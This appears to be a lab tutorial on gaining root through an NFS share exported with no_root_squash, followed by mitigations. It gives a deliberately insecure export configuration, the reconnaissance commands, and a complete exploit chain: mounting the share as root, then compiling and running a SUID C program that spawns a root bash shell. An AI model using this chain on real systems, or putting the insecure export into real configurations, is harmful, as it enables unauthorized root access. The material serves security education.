Escalating Linux Privileges via a Misconfigured NFS no_root_squash Export

What is the no_root_squash misconfiguration

NFS (Network File System) shares directories over the network. By default it applies root squashing , which maps a remote UID 0 to the unprivileged nobody account. Enabling no_root_squash disables this protection, so a remote root user is treated as local root on the server.

Experimental environment

NFS server : Ubuntu 22.04.5 LTS (IP 192.168.1.14) exporting /srv/nfs/share Attacker : Kali Linux with a low‑privilege SSH account (IP 192.168.1.x)

This models a scenario where the attacker already has a foothold as a normal user but not root.

Stage 1 – Build a vulnerable NFS server

1.1 Install the NFS server package

apt install nfs-kernel-server

1.2 Create the shared directory

mkdir -p /srv/nfs/share
chmod 777 /srv/nfs/share

Permission 777 is intentional for the demonstration; in production it would increase risk.

1.3 Add a dangerous export entry

Edit /etc/exports and add: /srv/nfs/share *(rw,sync,no_root_squash) The asterisk exports the directory to any host and disables root squashing.

1.4 Restart the service and open the firewall

systemctl restart nfs-kernel-server
exportfs -v
sudo ufw allow from 192.168.1.0/24 to any port nfs

The output confirms the export is active with read/write permissions and no_root_squash, and the firewall rule is applied.

Stage 2 – Attacker scans and discovers the export

2.1 Use Nmap to discover NFS

nmap -sV --script=nfs-showmount 192.168.1.14

The scan reveals rpcbind (port 111), NFS (port 2049), and several mountd/nlockmgr services. The nfs-showmount script displays the exported path /srv/nfs/share and shows it is available to all hosts.

2.2 Confirm the export with showmount

showmount -e 192.168.1.14

The command returns /srv/nfs/share *, confirming any host can mount the share.

Stage 3 – Exploit the no_root_squash setting to gain root

3.1 Mount the remote share as root

mkdir /tmp/nfs
sudo chown root:root /tmp/nfs
sudo chmod 4755 /tmp/nfs
sudo mount -t nfs 192.168.1.14:/srv/nfs/share /tmp/nfs

From this point, any file created under /tmp/nfs appears on the server owned by root.

3.2 Create a root‑owned SUID shell

Write a simple C program:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
    setuid(0);
    setgid(0);
    system("/bin/bash");
    return 0;
}

Compile and set the SUID bit:

gcc shell.c -o shell
chmod +s shell
ls -la shell

The permission string -rwsr-sr-x shows both SUID and SGID are active and the file owner is root.

3.3 Execute the payload as a normal user

ssh [email protected]
cd /srv/nfs/share
./shell
id

Running ./shell triggers the kernel to apply the SUID bit, elevating the process to root. The id command confirms uid=0(root).

Why the attack succeeds

no_root_squash lets a remote root user write files that the server records as owned by root.

The SUID bit tells the kernel to run the program with the file owner's privileges.

NFS transmits file ownership and SUID bits unchanged across the network.

Consequently, any machine where the attacker has root can plant a root‑owned SUID binary, and any local user on the NFS server can trigger it to obtain root.

Mitigation strategies

Prefer the default root_squash option; reserve no_root_squash for tightly controlled, isolated environments.

Export to specific trusted hosts instead of using *.

Add the nosuid export option to ignore SUID bits on files received via NFS.

Restrict NFS access with firewall rules so only authorized clients can connect.

Consider NFSv4 with Kerberos authentication for strong client identity verification.

When mounting on the client, use nosuid and noexec options to block execution of SUID binaries.

Regularly audit /etc/exports for insecure settings.

Example of a safer export configuration:

/srv/nfs/share 192.168.1.50(rw,sync,root_squash,no_subtree_check,nosuid)

This limits access to a single host, restores root squashing, and strips SUID bits.